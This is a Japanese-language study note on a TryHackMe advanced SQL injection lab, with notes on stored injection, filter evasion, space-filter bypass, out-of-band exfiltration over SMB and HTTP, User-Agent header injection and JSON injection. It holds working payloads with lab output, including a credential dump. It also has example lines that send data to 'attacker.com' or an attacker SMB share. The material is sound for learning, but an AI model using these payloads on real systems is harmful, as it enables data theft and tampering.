コースURL : https://tryhackme.com/room/advancedsqlinjection

Stored SQL Injection

危険性

検出

主な脆弱性の発生するポイント

検出チートシート


こんな感じで、本を登録するphpのページを題材にする

以下は、アプリケーションで書籍を追加するために使用されているPHPコードの抜粋

if (isset($_POST['submit'])) {

    $ssn = $conn->real_escape_string($_POST['ssn']);

    $book_name = $conn->real_escape_string($_POST['book_name']);

    $author = $conn->real_escape_string($_POST['author']);

    $sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";

    if ($conn->query($sql) === TRUE) {

        echo "<p class='text-green-500'>New book added successfully</p>";

    } else {

        echo "<p class='text-red-500'>Error: " . $conn->error . "</p>";

    }

}

real_escape_string()関数で、即時のSQLインジェクションのリスクをある程度軽減できるが、この手法では、StoredSQL Injectionを防ぐことはできない

test'と入力してみても、ここでは何も起こっていないように見える

update.phpというページでは、書籍の詳細を更新できる機能がある

update.phpはこのようになっている

if ( isset($_POST['update'])) { //リクエストメソッドが POST であり、「更新」ボタンが押されたかどうかを確認する
    $unique_id = $_POST['update'];                //ユーザー入力を直接取得する
    $ssn = $_POST['ssn_' . $unique_id];
    $new_book_name = $_POST['new_book_name_' . $unique_id];
    $new_author = $_POST['new_author_' . $unique_id];
    //変数(ssn, new_book_name, new_author)は、書籍情報の更新クエリにそのまま使用する
    // multi_query を使って複数のSQLクエリを一度に実行し、ログ情報を logs テーブルに挿入している
    $update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; 
                   INSERT INTO logs (page) VALUES ('update.php');";

SSNを使って書籍情報を追加または変更できることが分かっている

UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '123123';
12345'; UPDATE books SET book_name = 'Hacked'; --

全ての本の名前をHackedに変更できる

UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '12345'; UPDATE books SET book_name = 'Hacked'; --

フィルター回避

使用する方法

文字コードエンコーディング

ORを||に変更することで回避する

URLエンコーディング

16進数エンコーディング

Unicodeエンコーディング

こんな感じで、本を検索できるサイトが攻撃対象

検索機能を処理するPHPコード (search_books.php )は次のとおり

$book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "<p>Generated SQL Query: $sql</p>";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");
if ($result->num_rows > 0) {
    while ($row = $result->fetch_assoc()) {
...
..

書籍を検索するためのユーザー インターフェイスを提供する index.html ページの Javascript コード

function searchBooks() {
const bookName = document.getElementById('book_name').value;
const xhr = new XMLHttpRequest();
xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);
   xhr.onload = function() {
       if (this.status === 200) {
           document.getElementById('results').innerHTML = this.responseText;

試しに、Intro to PHP' OR 1=1を入力する

フィルター回避のためのURLエンコードペイロード

Intro to PHP' || 1=1 --+

ポイント

上を以下のようにURLエンコードされたペイロードを使用する

1%27%20||%201%3D1%20--+

ペイロード内の意味

勝手にURLエンコードされないようにするために、Getパラメータの中で入力する

http://10.10.120.190/encoding/search_books.php%20?book_name=Intro%20to%20PHP%27%20%7C%7C%201=1%20--+

その結果、以下のような入力になり、全てのテーブルの中身が表示される

 SELECT * FROM books WHERE book_name = Intro to PHP' || 1=1

クォートなしSQLインジェクション

数値を使用する

SQLコメントを使用する

CONCAT()関数を使用する

スペースが許可されない場合

コメントをスペースの代わりに使う

http://10.10.120.190/space/search_users.php?username=?というエンドポイントがあって、提供されたユーザー名に基づいてユーザーの詳細を返す

$special_chars = array(" ", "AND", "and" ,"or", "OR" , "UNION", "SELECT");
$username = str_replace($special_chars, '', $username);
$sql = "SELECT * FROM user WHERE username = '$username'";

エンドポイントで標準のペイロード1%27%20||%201=1%20--+を使用すると、URLエンコーディングを使用しても機能しないことがわかる

本来はこうなればいいんだけど、スペースが省略されているので、エラーになる

SELECT * FROM user WHERE username = '1' OR 1=1 --'

本当のタブを入力してエンコードしないといけない

作成したペイロードを実行することで、スペースフィルターバイパスできた

Out-of-band SQL Injection

OOB を選ぶ理由

データベースごとのテクニック

MySQL・MariaDB

SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';

Microsoft SQL Server (MSSQL)

EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';

Oracle

DECLARE
  req UTL_HTTP.REQ;
  resp UTL_HTTP.RESP;
BEGIN
  req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
  UTL_HTTP.GET_RESPONSE(req);
END;

代表的なOOB実装例

HTTPリクエスト

SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;

DNSエクスフィルトレーション

SMBエクスフィルトレーション

SELECT sensitive_data
INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';

  1. SMB共有を立ち上げる
cd /opt/impacket/examples
python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp
smbclient //ATTACKBOX_IP/logs -U guest -N

  1. 脆弱なWebアプリを確認
    http://10.10.120.190/oob/search_visitor.php?visitor_name=Tim
  1. 脆弱なSQL
$visitor_name = $_GET['visitor_name'] ?? '';
$sql = "SELECT * FROM visitor WHERE name = '$visitor_name'";
  1. secure_file_priv に注意
    • 値あり: そのディレクトリにしか書けない
    • 空白: どこへでも書き込み可
      • 攻撃者は試行錯誤で書き込み可否を確認する。
  2. ペイロード
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --

http://10.10.120.190/oob/search_visitor.php?visitor_name=1%27;%20SELECT%20@@version%20INTO%20OUTFILE%20%27\\\\10.10.27.32\\logs\\out.txt%27;%20--

  1. 結果確認
    @@versionの値をout.txtとして取得できた
ls /tmp
out.txt

root@ip-10-10-27-32:/tmp# cat out.txt
10.4.24-MariaDB

HTTPヘッダー Injection

User-Agent: ' OR 1=1; --

http://10.10.120.190/httpagent/

考えうるSQLインジェクション

ログを挿入するサーバーサイドコード

$userAgent = $_SERVER['HTTP_USER_AGENT'];
$insert_sql = "INSERT INTO logs (user_Agent) VALUES ('$userAgent')";
if ($conn->query($insert_sql) === TRUE) {
    echo "<p class='text-green-500'>New logs inserted successfully</p>";
} else {
    echo "<p class='text-red-500'>Error: " . $conn->error . " (Error Code: " . $conn->errno . ")</p>";
}
$sql = "SELECT * FROM logs WHERE user_Agent = '$userAgent'";
.....

ペイロード

UNION SELECT username, password FROM user; #

ポイント

このペイロードを挿入するには、 HTTPリクエストのUser-Agentヘッダーの一部として送信する必要がある
curlコマンドの-Hで送れるよ

└─$ curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.10.120.190/httpagent/
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SQL Injection </title>
    <link href="../css/tailwind.min.css" rel="stylesheet">
</head>
<body class="bg-gray-100">
    <div class="container mx-auto p-8">
        <h1 class="text-4xl font-bold mb-8 text-center">HTTP Logs</h1>
        <div class="bg-white p-6 rounded-lg shadow-lg">

<p class='text-gray-600 text-sm mb-4'>Generated SQL Query: <span class='text-red-500'>SELECT * FROM logs WHERE user_Agent = '' UNION SELECT username, password FROM user; #'</span></p><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>bob</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>bob@123</span></p></div><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>attacker</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>tesla</span></p></div>
        </div>
    </div>
</body>
</html>
              

ストアドプロシージャ

ストアドプロシージャのプロセスフロー
引用 : https://tryhackme.com/room/advancedsqlinjection

CREATE PROCEDURE sp_getUserData
    @username NVARCHAR(50)
AS
BEGIN
    DECLARE @sql NVARCHAR(4000)
    SET @sql = 'SELECT * FROM users WHERE username = ''' + @username + ''''
    EXEC(@sql)
END

XMLおよびJSONインジェクション

ペイロードの例

{
  "username": "admin' OR '1'='1--",
  "password": "password"
}

SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- AND password =みたいに直接使ってると、インジェクション起こる可能性あるよね

自動化

特定するときの課題

自動化ツール